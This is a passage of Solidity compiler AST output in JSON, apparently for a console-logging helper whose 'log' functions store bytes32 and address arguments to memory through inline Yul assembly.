pure"}},"id":45988,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"377629:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45989,"nodeType":"ExpressionStatement","src":"377629:28:22"},{"AST":{"nativeSrc":"377676:334:22","nodeType":"YulBlock","src":"377676:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"377697:4:22","nodeType":"YulLiteral","src":"377697:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"377703:2:22","nodeType":"YulIdentifier","src":"377703:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377690:6:22","nodeType":"YulIdentifier","src":"377690:6:22"},"nativeSrc":"377690:16:22","nodeType":"YulFunctionCall","src":"377690:16:22"},"nativeSrc":"377690:16:22","nodeType":"YulExpressionStatement","src":"377690:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377726:4:22","nodeType":"YulLiteral","src":"377726:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"377732:2:22","nodeType":"YulIdentifier","src":"377732:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377719:6:22","nodeType":"YulIdentifier","src":"377719:6:22"},"nativeSrc":"377719:16:22","nodeType":"YulFunctionCall","src":"377719:16:22"},"nativeSrc":"377719:16:22","nodeType":"YulExpressionStatement","src":"377719:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377755:4:22","nodeType":"YulLiteral","src":"377755:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"377761:2:22","nodeType":"YulIdentifier","src":"377761:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377748:6:22","nodeType":"YulIdentifier","src":"377748:6:22"},"nativeSrc":"377748:16:22","nodeType":"YulFunctionCall","src":"377748:16:22"},"nativeSrc":"377748:16:22","nodeType":"YulExpressionStatement","src":"377748:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377784:4:22","nodeType":"YulLiteral","src":"377784:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"377790:2:22","nodeType":"YulIdentifier","src":"377790:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377777:6:22","nodeType":"YulIdentifier","src":"377777:6:22"},"nativeSrc":"377777:16:22","nodeType":"YulFunctionCall","src":"377777:16:22"},"nativeSrc":"377777:16:22","nodeType":"YulExpressionStatement","src":"377777:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377813:4:22","nodeType":"YulLiteral","src":"377813:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"377819:2:22","nodeType":"YulIdentifier","src":"377819:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377806:6:22","nodeType":"YulIdentifier","src":"377806:6:22"},"nativeSrc":"377806:16:22","nodeType":"YulFunctionCall","src":"377806:16:22"},"nativeSrc":"377806:16:22","nodeType":"YulExpressionStatement","src":"377806:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377842:4:22","nodeType":"YulLiteral","src":"377842:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"377848:2:22","nodeType":"YulIdentifier","src":"377848:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377835:6:22","nodeType":"YulIdentifier","src":"377835:6:22"},"nativeSrc":"377835:16:22","nodeType":"YulFunctionCall","src":"377835:16:22"},"nativeSrc":"377835:16:22","nodeType":"YulExpressionStatement","src":"377835:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377871:4:22","nodeType":"YulLiteral","src":"377871:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"377877:2:22","nodeType":"YulIdentifier","src":"377877:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377864:6:22","nodeType":"YulIdentifier","src":"377864:6:22"},"nativeSrc":"377864:16:22","nodeType":"YulFunctionCall","src":"377864:16:22"},"nativeSrc":"377864:16:22","nodeType":"YulExpressionStatement","src":"377864:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377900:4:22","nodeType":"YulLiteral","src":"377900:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"377906:2:22","nodeType":"YulIdentifier","src":"377906:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377893:6:22","nodeType":"YulIdentifier","src":"377893:6:22"},"nativeSrc":"377893:16:22","nodeType":"YulFunctionCall","src":"377893:16:22"},"nativeSrc":"377893:16:22","nodeType":"YulExpressionStatement","src":"377893:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377929:5:22","nodeType":"YulLiteral","src":"377929:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"377936:2:22","nodeType":"YulIdentifier","src":"377936:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377922:6:22","nodeType":"YulIdentifier","src":"377922:6:22"},"nativeSrc":"377922:17:22","nodeType":"YulFunctionCall","src":"377922:17:22"},"nativeSrc":"377922:17:22","nodeType":"YulExpressionStatement","src":"377922:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377959:5:22","nodeType":"YulLiteral","src":"377959:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"377966:2:22","nodeType":"YulIdentifier","src":"377966:2:22"}],"functionName":{"name":"mstore","nativeSrc":"377952:6:22","nodeType":"YulIdentifier","src":"377952:6:22"},"nativeSrc":"377952:17:22","nodeType":"YulFunctionCall","src":"377952:17:22"},"nativeSrc":"377952:17:22","nodeType":"YulExpressionStatement","src":"377952:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"377989:5:22","nodeType":"YulLiteral","src":"377989:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"377996:3:22","nodeType":"YulIdentifier","src":"377996:3:22"}],"functionName":{"name":"mstore","nativeSrc":"377982:6:22","nodeType":"YulIdentifier","src":"377982:6:22"},"nativeSrc":"377982:18:22","nodeType":"YulFunctionCall","src":"377982:18:22"},"nativeSrc":"377982:18:22","nodeType":"YulExpressionStatement","src":"377982:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45952,"isOffset":false,"isSlot":false,"src":"377703:2:22","valueSize":1},{"declaration":45955,"isOffset":false,"isSlot":false,"src":"377732:2:22","valueSize":1},{"declaration":45982,"isOffset":false,"isSlot":false,"src":"377996:3:22","valueSize":1},{"declaration":45958,"isOffset":false,"isSlot":false,"src":"377761:2:22","valueSize":1},{"declaration":45961,"isOffset":false,"isSlot":false,"src":"377790:2:22","valueSize":1},{"declaration":45964,"isOffset":false,"isSlot":false,"src":"377819:2:22","valueSize":1},{"declaration":45967,"isOffset":false,"isSlot":false,"src":"377848:2:22","valueSize":1},{"declaration":45970,"isOffset":false,"isSlot":false,"src":"377877:2:22","valueSize":1},{"declaration":45973,"isOffset":false,"isSlot":false,"src":"377906:2:22","valueSize":1},{"declaration":45976,"isOffset":false,"isSlot":false,"src":"377936:2:22","valueSize":1},{"declaration":45979,"isOffset":false,"isSlot":false,"src":"377966:2:22","valueSize":1}],"id":45990,"nodeType":"InlineAssembly","src":"377667:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"376287:3:22","parameters":{"id":45949,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45942,"mutability":"mutable","name":"p0","nameLocation":"376299:2:22","nodeType":"VariableDeclaration","scope":45992,"src":"376291:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45941,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376291:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45944,"mutability":"mutable","name":"p1","nameLocation":"376311:2:22","nodeType":"VariableDeclaration","scope":45992,"src":"376303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45943,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376303:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45946,"mutability":"mutable","name":"p2","nameLocation":"376323:2:22","nodeType":"VariableDeclaration","scope":45992,"src":"376315:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":45945,"name":"address","nodeType":"ElementaryTypeName","src":"376315:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":45948,"mutability":"mutable","name":"p3","nameLocation":"376335:2:22","nodeType":"VariableDeclaration","scope":45992,"src":"376327:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45947,"name":"bytes32","nodeType":"ElementaryTypeName","src":"376327:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"376290:48:22"},"returnParameters":{"id":45950,"nodeType":"ParameterList","parameters":[],"src":"376353:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46038,"nodeType":"FunctionDefinition","src":"378022:1530:22","nodes":[],"body":{"id":46037,"nodeType":"Block","src":"378094:1458:22","nodes":[],"statements":[{"assignments":[46004],"declarations":[{"constant":false,"id":46004,"mutability":"mutable","name":"m0","nameLocation":"378112:2:22","nodeType":"VariableDeclaration","scope":46037,"src":"378104:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46003,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378104:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46005,"nodeType":"VariableDeclarationStatement","src":"378104:10:22"},{"assignments":[46007],"declarations":[{"constant":false,"id":46007,"mutability":"mutable","name":"m1","nameLocation":"378132:2:22","nodeType":"VariableDeclaration","scope":46037,"src":"378124:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46006,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378124:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46008,"nodeType":"VariableDeclarationStatement","src":"378124:10:22"},{"assignments":[46010],"declarations":[{"constant":false,"id":46010,"mutability":"mutable","name":"m2","nameLocation":"378152:2:22","nodeType":"VariableDeclaration","scope":46037,"src":"378144:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46009,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378144:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46011,"nodeType":"VariableDeclarationStatement","src":"378144:10:22"},{"assignments":[46013],"declarations":[{"constant":false,"id":46013,"mutability":"mutable","name":"m3","nameLocation":"378172:2:22","nodeType":"VariableDeclaration","scope":46037,"src":"378164:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46012,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378164:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46014,"nodeType":"VariableDeclarationStatement","src":"378164:10:22"},{"assignments":[46016],"declarations":[{"constant":false,"id":46016,"mutability":"mutable","name":"m4","nameLocation":"378192:2:22","nodeType":"VariableDeclaration","scope":46037,"src":"378184:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46015,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378184:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46017,"nodeType":"VariableDeclarationStatement","src":"378184:10:22"},{"assignments":[46019],"declarations":[{"constant":false,"id":46019,"mutability":"mutable","name":"m5","nameLocation":"378212:2:22","nodeType":"VariableDeclaration","scope":46037,"src":"378204:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46018,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378204:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46020,"nodeType":"VariableDeclarationStatement","src":"378204:10:22"},{"assignments":[46022],"declarations":[{"constant":false,"id":46022,"mutability":"mutable","name":"m6","nameLocation":"378232:2:22","nodeType":"VariableDeclaration","scope":46037,"src":"378224:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46021,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378224:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46023,"nodeType":"VariableDeclarationStatement","src":"378224:10:22"},{"assignments":[46025],"declarations":[{"constant":false,"id":46025,"mutability":"mutable","name":"m7","nameLocation":"378252:2:22","nodeType":"VariableDeclaration","scope":46037,"src":"378244:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46024,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378244:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46026,"nodeType":"VariableDeclarationStatement","src":"378244:10:22"},{"assignments":[46028],"declarations":[{"constant":false,"id":46028,"mutability":"mutable","name":"m8","nameLocation":"378272:2:22","nodeType":"VariableDeclaration","scope":46037,"src":"378264:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46027,"name":"bytes32","nodeType":"ElementaryTypeName","src":"378264:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46029,"nodeType":"VariableDeclarationStatement","src":"378264:10:22"},{"AST":{"nativeSrc":"378293:924:22","nodeType":"YulBlock","src":"378293:924:22","statements":[{"body":{"nativeSrc":"378336:313:22","nodeType":"YulBlock","src":"378336:313:22","statements":[{"nativeSrc":"378354:15:22","nodeType":"YulVariableDeclaration","src":"378354:15:22","value":{"kind":"number","nativeSrc":"378368:1:22","nodeType":"YulLiteral","src":"378368:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"378358:6:22","nodeType":"YulTypedName","src":"378358:6:22","type":""}]},{"body":{"nativeSrc":"378439:40:22","nodeType":"YulBlock","src":"378439:40:22","statements":[{"body":{"nativeSrc":"378468:9:22","nodeType":"YulBlock","src":"378468:9:22","statements":[{"nativeSrc":"378470:5:22","nodeType":"YulBreak","src":"378470:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"378456:6:22","nodeType":"YulIdentifier","src":"378456:6:22"},{"name":"w","nativeSrc":"378464:1:22","nodeType":"YulIdentifier","src":"378464:1:22"}],"functionName":{"name":"byte","nativeSrc":"378451:4:22","nodeType":"YulIdentifier","src":"378451:4:22"},"nativeSrc":"378451:15:22","nodeType":"YulFunctionCall","src":"378451:15:22"}],"functionName":{"name":"iszero","nativeSrc":"378444:6:22","nodeType":"YulIdentifier","src":"378444:6:22"},"nativeSrc":"378444:23:22","nodeType":"YulFunctionCall","src":"378444:23:22"},"nativeSrc":"378441:36:22","nodeType":"YulIf","src":"378441:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"378396:6:22","nodeType":"YulIdentifier","src":"378396:6:22"},{"kind":"number","nativeSrc":"378404:4:22","nodeType":"YulLiteral","src":"378404:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"378393:2:22","nodeType":"YulIdentifier","src":"378393:2:22"},"nativeSrc":"378393:16:22","nodeType":"YulFunctionCall","src":"378393:16:22"},"nativeSrc":"378386:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"378410:28:22","nodeType":"YulBlock","src":"378410:28:22","statements":[{"nativeSrc":"378412:24:22","nodeType":"YulAssignment","src":"378412:24:22","value":{"arguments":[{"name":"length","nativeSrc":"378426:6:22","nodeType":"YulIdentifier","src":"378426:6:22"},{"kind":"number","nativeSrc":"378434:1:22","nodeType":"YulLiteral","src":"378434:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"378422:3:22","nodeType":"YulIdentifier","src":"378422:3:22"},"nativeSrc":"378422:14:22","nodeType":"YulFunctionCall","src":"378422:14:22"},"variableNames":[{"name":"length","nativeSrc":"378412:6:22","nodeType":"YulIdentifier","src":"378412:6:22"}]}]},"pre":{"nativeSrc":"378390:2:22","nodeType":"YulBlock","src":"378390:2:22","statements":[]},"src":"378386:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"378503:3:22","nodeType":"YulIdentifier","src":"378503:3:22"},{"name":"length","nativeSrc":"378508:6:22","nodeType":"YulIdentifier","src":"378508:6:22"}],"functionName":{"name":"mstore","nativeSrc":"378496:6:22","nodeType":"YulIdentifier","src":"378496:6:22"},"nativeSrc":"378496:19:22","nodeType":"YulFunctionCall","src":"378496:19:22"},"nativeSrc":"378496:19:22","nodeType":"YulExpressionStatement","src":"378496:19:22"},{"nativeSrc":"378532:37:22","nodeType":"YulVariableDeclaration","src":"378532:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"378549:3:22","nodeType":"YulLiteral","src":"378549:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"378558:1:22","nodeType":"YulLiteral","src":"378558:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"378561:6:22","nodeType":"YulIdentifier","src":"378561:6:22"}],"functionName":{"name":"shl","nativeSrc":"378554:3:22","nodeType":"YulIdentifier","src":"378554:3:22"},"nativeSrc":"378554:14:22","nodeType":"YulFunctionCall","src":"378554:14:22"}],"functionName":{"name":"sub","nativeSrc":"378545:3:22","nodeType":"YulIdentifier","src":"378545:3:22"},"nativeSrc":"378545:24:22","nodeType":"YulFunctionCall","src":"378545:24:22"},"variables":[{"name":"shift","nativeSrc":"378536:5:22","nodeType":"YulTypedName","src":"378536:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"378597:3:22","nodeType":"YulIdentifier","src":"378597:3:22"},{"kind":"number","nativeSrc":"378602:4:22","nodeType":"YulLiteral","src":"378602:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"378593:3:22","nodeType":"YulIdentifier","src":"378593:3:22"},"nativeSrc":"378593:14:22","nodeType":"YulFunctionCall","src":"378593:14:22"},{"arguments":[{"name":"shift","nativeSrc":"378613:5:22","nodeType":"YulIdentifier","src":"378613:5:22"},{"arguments":[{"name":"shift","nativeSrc":"378624:5:22","nodeType":"YulIdentifier","src":"378624:5:22"},{"name":"w","nativeSrc":"378631:1:22","nodeType":"YulIdentifier","src":"378631:1:22"}],"functionName":{"name":"shr","nativeSrc":"378620:3:22","nodeType":"YulIdentifier","src":"378620:3:22"},"nativeSrc":"378620:13:22","nodeType":"YulFunctionCall","src":"378620:13:22"}],"functionName":{"name":"shl","nativeSrc":"378609:3:22","nodeType":"YulIdentifier","src":"378609:3:22"},"nativeSrc":"378609:25:22","nodeType":"YulFunctionCall","src":"378609:25:22"}],"functionName":{"name":"mstore","nativeSrc":"378586:6:22","nodeType":"YulIdentifier","src":"378586:6:22"},"nativeSrc":"378586:49:22","nodeType":"YulFunctionCall","src":"378586:49:22"},"nativeSrc":"378586:49:22","nodeType":"YulExpressionStatement","src":"378586:49:22"}]},"name":"writeString","nativeSrc":"378307:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"378328:3:22","nodeType":"YulTypedName","src":"378328:3:22","type":""},{"name":"w","nativeSrc":"378333:1:22","nodeType":"YulTypedName","src":"378333:1:22","type":""}],"src":"378307:342:22"},{"nativeSrc":"378662:17:22","nodeType":"YulAssignment","src":"378662:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"378674:4:22","nodeType":"YulLiteral","src":"378674:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"378668:5:22","nodeType":"YulIdentifier","src":"378668:5:22"},"nativeSrc":"378668:11:22","nodeType":"YulFunctionCall","src":"378668:11:22"},"variableNames":[{"name":"m0","nativeSrc":"378662:2:22","nodeType":"YulIdentifier","src":"378662:2:22"}]},{"nativeSrc":"378692:17:22","nodeType":"YulAssignment","src":"378692:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"378704:4:22","nodeType":"YulLiteral","src":"378704:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"378698:5:22","nodeType":"YulIdentifier","src":"378698:5:22"},"nativeSrc":"378698:11:22","nodeType":"YulFunctionCall","src":"378698:11:22"},"variableNames":[{"name":"m1","nativeSrc":"378692:2:22","nodeType":"YulIdentifier","src":"378692:2:22"}]},{"nativeSrc":"378722:17:22","nodeType":"YulAssignment","src":"378722:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"378734:4:22","nodeType":"YulLiteral","src":"378734:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"378728:5:22","nodeType":"YulIdentifier","src":"378728:5:22"},"nativeSrc":"378728:11:22","nodeType":"YulFunctionCall","src":"378728:11:22"},"variableNames":[{"name":"m2","nativeSrc":"378722:2:22","nodeType":"YulIdentifier","src":"378722:2:22"}]},{"nativeSrc":"378752:17:22","nodeType":"YulAssignment","src":"378752:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"378764:4:22","nodeType":"YulLiteral","src":"378764:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"378758:5:22","nodeType":"YulIdentifier","src":"378758:5:22"},"nativeSrc":"378758:11:22","nodeType":"YulFunctionCall","src":"378758:11:22"},"variableNames":[{"name":"m3","nativeSrc":"378752:2:22","nodeType":"YulIdentifier","src":"378752:2:22"}]},{"nativeSrc":"378782:17:22","nodeType":"YulAssignment","src":"378782:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"378794:4:22","nodeType":"YulLiteral","src":"378794:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"378788:5:22","nodeType":"YulIdentifier","src":"378788:5:22"},"nativeSrc":"378788:11:22","nodeType":"YulFunctionCall","src":"378788:11:22"},"variableNames":[{"name":"m4","nativeSrc":"378782:2:22","nodeType":"YulIdentifier","src":"378782:2:22"}]},{"nativeSrc":"378812:17:22","nodeType":"YulAssignment","src":"378812:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"378824:4:22","nodeType":"YulLiteral","src":"378824:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"378818:5:22","nodeType":"YulIdentifier","src":"378818:5:22"},"nativeSrc":"378818:11:22","nodeType":"YulFunctionCall","src":"378818:11:22"},"variableNames":[{"name":"m5","nativeSrc":"378812:2:22","nodeType":"YulIdentifier","src":"378812:2:22"}]},{"nativeSrc":"378842:17:22","nodeType":"YulAssignment","src":"378842:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"378854:4:22","nodeType":"YulLiteral","src":"378854:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"378848:5:22","nodeType":"YulIdentifier","src":"378848:5:22"},"nativeSrc":"378848:11:22","nodeType":"YulFunctionCall","src":"378848:11:22"},"variableNames":[{"name":"m6","nativeSrc":"378842:2:22","nodeType":"YulIdentifier","src":"378842:2:22"}]},{"nativeSrc":"378872:17:22","nodeType":"YulAssignment","src":"378872:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"378884:4:22","nodeType":"YulLiteral","src":"378884:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"378878:5:22","nodeType":"YulIdentifier","src":"378878:5:22"},"nativeSrc":"378878:11:22","nodeType":"YulFunctionCall","src":"378878:11:22"},"variableNames":[{"name":"m7","nativeSrc":"378872:2:22","nodeType":"YulIdentifier","src":"378872:2:22"}]},{"nativeSrc":"378902:18:22","nodeType":"YulAssignment","src":"378902:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"378914:5:22","nodeType":"YulLiteral","src":"378914:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"378908:5:22","nodeType":"YulIdentifier","src":"378908:5:22"},"nativeSrc":"378908:12:22","nodeType":"YulFunctionCall","src":"378908:12:22"},"variableNames":[{"name":"m8","nativeSrc":"378902:2:22","nodeType":"YulIdentifier","src":"378902:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379002:4:22","nodeType":"YulLiteral","src":"379002:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"379008:10:22","nodeType":"YulLiteral","src":"379008:10:22","type":"","value":"0xc371c7db"}],"functionName":{"name":"mstore","nativeSrc":"378995:6:22","nodeType":"YulIdentifier","src":"378995:6:22"},"nativeSrc":"378995:24:22","nodeType":"YulFunctionCall","src":"378995:24:22"},"nativeSrc":"378995:24:22","nodeType":"YulExpressionStatement","src":"378995:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379039:4:22","nodeType":"YulLiteral","src":"379039:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"379045:4:22","nodeType":"YulLiteral","src":"379045:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"379032:6:22","nodeType":"YulIdentifier","src":"379032:6:22"},"nativeSrc":"379032:18:22","nodeType":"YulFunctionCall","src":"379032:18:22"},"nativeSrc":"379032:18:22","nodeType":"YulExpressionStatement","src":"379032:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379070:4:22","nodeType":"YulLiteral","src":"379070:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"379076:4:22","nodeType":"YulLiteral","src":"379076:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"379063:6:22","nodeType":"YulIdentifier","src":"379063:6:22"},"nativeSrc":"379063:18:22","nodeType":"YulFunctionCall","src":"379063:18:22"},"nativeSrc":"379063:18:22","nodeType":"YulExpressionStatement","src":"379063:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379101:4:22","nodeType":"YulLiteral","src":"379101:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"379107:2:22","nodeType":"YulIdentifier","src":"379107:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379094:6:22","nodeType":"YulIdentifier","src":"379094:6:22"},"nativeSrc":"379094:16:22","nodeType":"YulFunctionCall","src":"379094:16:22"},"nativeSrc":"379094:16:22","nodeType":"YulExpressionStatement","src":"379094:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379130:4:22","nodeType":"YulLiteral","src":"379130:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"379136:2:22","nodeType":"YulIdentifier","src":"379136:2:22"}],"functionName":{"name":"mstore","nativeSrc":"379123:6:22","nodeType":"YulIdentifier","src":"379123:6:22"},"nativeSrc":"379123:16:22","nodeType":"YulFunctionCall","src":"379123:16:22"},"nativeSrc":"379123:16:22","nodeType":"YulExpressionStatement","src":"379123:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379164:4:22","nodeType":"YulLiteral","src":"379164:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"379170:2:22","nodeType":"YulIdentifier","src":"379170:2:22"}],"functionName":{"name":"writeString","nativeSrc":"379152:11:22","nodeType":"YulIdentifier","src":"379152:11:22"},"nativeSrc":"379152:21:22","nodeType":"YulFunctionCall","src":"379152:21:22"},"nativeSrc":"379152:21:22","nodeType":"YulExpressionStatement","src":"379152:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"379198:4:22","nodeType":"YulLiteral","src":"379198:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"379204:2:22","nodeType":"YulIdentifier","src":"379204:2:22"}],"functionName":{"name":"writeString","nativeSrc":"379186:11:22","nodeType":"YulIdentifier","src":"379186:11:22"},"nativeSrc":"379186:21:22","nodeType":"YulFunctionCall","src":"379186:21:22"},"nativeSrc":"379186:21:22","nodeType":"YulExpressionStatement","src":"379186:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46004,"isOffset":false,"isSlot":false,"src":"378662:2:22","valueSize":1},{"declaration":46007,"isOffset":false,"isSlot":false,"src":"378692:2:22","valueSize":1},{"declaration":46010,"isOffset":false,"isSlot":false,"src":"378722:2:22","valueSize":1},{"declaration":46013,"isOffset":false,"isSlot":false,"src":"378752:2:22","valueSize":1},{"declaration":46016,"isOffset":false,"isSlot":false,"src":"378782:2:22","valueSize":1},{"declaration":46019,"isOffset":false,"isSlot":false,"src":"378812:2:22","valueSize":1},{"declaration":46022,"isOffset":false,"isSlot":false,"src":"378842:2:22","valueSize":1},{"declaration":46025,"isOffset":false,"isSlot":false,"src":"378872:2:22","valueSize":1},{"declaration":46028,"isOffset":false,"isSlot":false,"src":"378902:2:22","valueSize":1},{"declaration":45994,"isOffset":false,"isSlot":false,"src":"379170:2:22","valueSize":1},{"declaration":45996,"isOffset":false,"isSlot":false,"src":"379204:2:22","valueSize":1},{"declaration":45998,"isOffset":false,"isSlot":false,"src":"379107:2:22","valueSize":1},{"declaration":46000,"isOffset":false,"isSlot":false,"src":"379136:2:22","valueSize":1}],"id":46030,"nodeType":"InlineAssembly","src":"378284:9